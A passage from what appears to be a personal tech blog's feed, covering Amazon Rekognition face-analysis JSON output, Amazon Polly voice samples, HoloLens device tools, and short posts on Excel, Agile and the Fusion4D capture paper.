&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Face&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;50.69965744018555&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Selfie&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here is what the facial analysis shows;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/facial-analysis-Capture-300x149.jpg&#34; alt=&#34;Facial Analysis&#34;/&gt;
        &lt;figcaption&gt;Facial Analysis&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;However how does it handle something a little more complex perhaps?&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Capture2-300x131.jpg&#34; alt=&#34;Object and Scene detection&#34;/&gt;
        &lt;figcaption&gt;Object and Scene detection&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;And finally, what of the comparison? I think there might be some more work to be done on that front.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/Face-Comparison-Capture-300x134.jpg&#34; alt=&#34;Face Comparison capture&#34;/&gt;
        &lt;figcaption&gt;Face Comparison capture&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Here is the response:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;FaceMatches&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Face&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BoundingBox&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Height&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3878205120563507&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Left&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.2371794879436493&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Top&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.22435897588729858&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Width&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3878205120563507&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;99.79533386230469&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Similarity&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SourceImageFace&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BoundingBox&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Height&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.209781214594841&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Left&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.4188888967037201&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Top&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.13127413392066955&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Width&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;0.18111111223697662&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;Confidence&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;99.99442291259765&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Playing with #AI</title>
      <link>/post/2016/12/playing-with-ai/</link>
      <pubDate>Thu, 01 Dec 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/12/playing-with-ai/</guid>
      <description>&lt;p&gt;So, been spending a lot of time recently around many things related to Artificial Intelligence (#AI).  More on that some day. :)&lt;/p&gt;
&lt;p&gt;Was curious about yesterdays Amazon&amp;rsquo;s announcement to jump on this bandwagon. Of course Microsoft and others have been there. I don&amp;rsquo;t know to what extend has Amazon been working on this, but given Alexa has been out for a couple of years, I know they have had rich pickings of tuning this further.&lt;/p&gt;
&lt;p&gt;I thought Polly (like the parrot?) was quite different from the things I have seen from others. This is a text-to-speech, where it renders the inputted text into various dialects and you can have a few outputs for those too. It supports a few dialects (for the synthesized speech) and one can use it using a simple API (the &lt;a
	
		href = &#34;http://docs.aws.amazon.com/polly/latest/dg/examples-android.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Android example
	&lt;/span&gt;
&lt;/a&gt; shows it is not very complex to consume, of course you still need to think about the overall design and elements of Software Engineering, latency, limits, bandwidth, etc.). Should you desire you can customize it using pronunciation &lt;a
	
		href = &#34;http://docs.aws.amazon.com/polly/latest/dg/managing-lexicons-console.html#managing-lexicons-console-synthesize-speech&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lexicons
	&lt;/span&gt;
&lt;/a&gt; that allow one to tweak this.&lt;/p&gt;
&lt;p&gt;Here are a few examples, none of them are me, and hence the &amp;ldquo;cold&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Australian (Male):


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;audio/AU-russell-speech_20161201220502282.mp3&#34;
      title=&#34;&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Indian (Female):


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;audio/Indian-raveena-speech_20161201220349857.mp3&#34;
      title=&#34;&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Italian (Male):


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;audio/IT-giorgio-speech_20161201220546803.mp3&#34;
      title=&#34;&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;US/American (Male):


&lt;div&gt;
  &lt;figure&gt;
    &lt;audio
      controls
      src=&#34;audio/US-joey-speech_20161201220418979.mp3&#34;
      title=&#34;&#34;
      style=&#34;width: 50%&#34;&gt;
      Your browser does not support the &lt;code&gt;audio&lt;/code&gt; element.
    &lt;/audio&gt;
    
  &lt;/figure&gt;
&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Of course, if you play with it, it is easy to pick up the patterns and what is being changed, versus not. But kudos to the team on this. I think it will help accelerate the adoption of #AI.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Excel runs the world</title>
      <link>/post/2016/10/excel-runs-the-world/</link>
      <pubDate>Fri, 07 Oct 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/10/excel-runs-the-world/</guid>
      <description>&lt;p&gt;This video proves it; and it also shows that Clint is probably one of the best teachers out there! Love the passion! Now, go learn some Excel. :)&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/SPLzV0-X0lI?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>How I feel each time I wear the HoloLens?</title>
      <link>/post/2016/10/how-i-feel-each-time-i-wear-the-hololens/</link>
      <pubDate>Wed, 05 Oct 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/10/how-i-feel-each-time-i-wear-the-hololens/</guid>
      <description>&lt;p&gt;Honestly, I don&amp;rsquo;t think even Tony Stark can explain - this sums it up quite nicely and the music is just the cherry on top. :)&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/mRi1dmFgRfo?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Real-time performance capture - HoloPortation?</title>
      <link>/post/2016/10/real-time-performance-capture-holoportation/</link>
      <pubDate>Wed, 05 Oct 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/10/real-time-performance-capture-holoportation/</guid>
      <description>&lt;p&gt;Some of the folks working on PPI and HoloPortation team from MSR left and went to setup a new company called &lt;a
	
		href = &#34;http://perceptiveio.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PerceptiveIO
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;They have recently published a paper called &lt;a
	
		href = &#34;http://dl.acm.org/ft_gateway.cfm?id=2925969&amp;amp;ftid=1755905&amp;amp;dwn=1&amp;amp;CFID=643334899&amp;amp;CFTOKEN=80320629&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Fusion4D: Real0time performance capture of challenging scenes.
	&lt;/span&gt;
&lt;/a&gt; In that they cover some of the work around multi-view performance capture, the raw depth acquisition and preprocessing that needs to be done around that. This interestingly also handles deformation changes (e.g. taking off a jacket or a scarf) and these can be non-rigid and much more difficult to handle, but they are done beautifully.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;https://static1.squarespace.com/static/5746a11b044262f1acf279b5/5786958af5e231f300eea37e/5786958a15d5db1ac047b7a3/1468437901247/ffd&amp;#43;1.png?format=1500w&#34; alt=&#34;ffd 1.png&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Combining this with the likes of HoloLens would make it quite interesting. If you want to see more, check out the video below showing the examples and transitions below. Perhaps one day, it would allow us to see and experience events from afar. :)&lt;/p&gt;
&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
      &lt;iframe allow=&#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen&#34; loading=&#34;eager&#34; referrerpolicy=&#34;strict-origin-when-cross-origin&#34; src=&#34;https://www.youtube.com/embed/2dkcJ1YhYw4?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; title=&#34;YouTube video&#34;&gt;&lt;/iframe&gt;
    &lt;/div&gt;

</description>
    </item>
    
    <item>
      <title>Three cheers for Agile!</title>
      <link>/post/2016/04/three-cheers-for-agile/</link>
      <pubDate>Sat, 30 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/three-cheers-for-agile/</guid>
      <description>&lt;p&gt;(Hip hip Hooray!)&lt;sup&gt;3&lt;/sup&gt;
&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://static1.squarespace.com/static/518f5d62e4b075248d6a3f90/t/571fdf71c6fc0891cbc7e1d7/1461706665876/?format=2500w&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Monkeying Around with Holograms</title>
      <link>/post/2016/04/monkeying-around-with-holograms/</link>
      <pubDate>Fri, 29 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/monkeying-around-with-holograms/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-32.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;I guess you can see the similarity. No? 😈&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>HoloLens - Device Portal (Part 2)</title>
      <link>/post/2016/04/hololens-device-portal-part-2/</link>
      <pubDate>Tue, 26 Apr 2016 00:00:00 +0000</pubDate>
      
      <guid>/post/2016/04/hololens-device-portal-part-2/</guid>
      <description>&lt;p&gt;In addition to the HoloLens Device Portal (&lt;a
	
		href = &#34;/post/2016/04/hololens-device-portal-part-1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		see part 1
	&lt;/span&gt;
&lt;/a&gt;), another option is using the UAP HoloLens companion app which you can &lt;a
	
		href = &#34;https://www.microsoft.com/store/apps/9nblggh4qwnx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		install from the store
	&lt;/span&gt;
&lt;/a&gt;. I think this is a little more end-user friendly, and perhaps a little less developer focused. It exposes a subset of the same functionality.&lt;/p&gt;
&lt;p&gt;Once you install it, you connect more or less in the same manner; I think most people will like the live streaming option. There is a bit of latency between the device and what is shown, but that could be somewhat because of our (possibly crappy) wireless which was overloaded with many folks at work.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/image_thumb-23.png&#34; alt=&#34;image&#34;/&gt;
        &lt;figcaption&gt;Store Option&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-24.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Once you connect and set it up then you see the above screen. Of course you can manage multiple devices from here.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-25.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
Once you login, you see a lot of the same information as you saw in &lt;a
	
		href = &#34;/post/2016/04/hololens-device-portal-part-1/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-26.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
You can see the Live stream as shown here; and what might not be obvious that it is both sound and video which is streamed. In this screenshot you can see my (work) login screen, with the password login being a Hologram. Here it is ‘floating’ over the window, and you can see a flavor of the mixed reality.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-27.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
As you can expect, you can capture either a photo or a video on what is being seen via the Device.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-28.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
The photos or videos that you do take, show up here. I suppose they are saved on the device and you would want to take it off there.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb-29.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
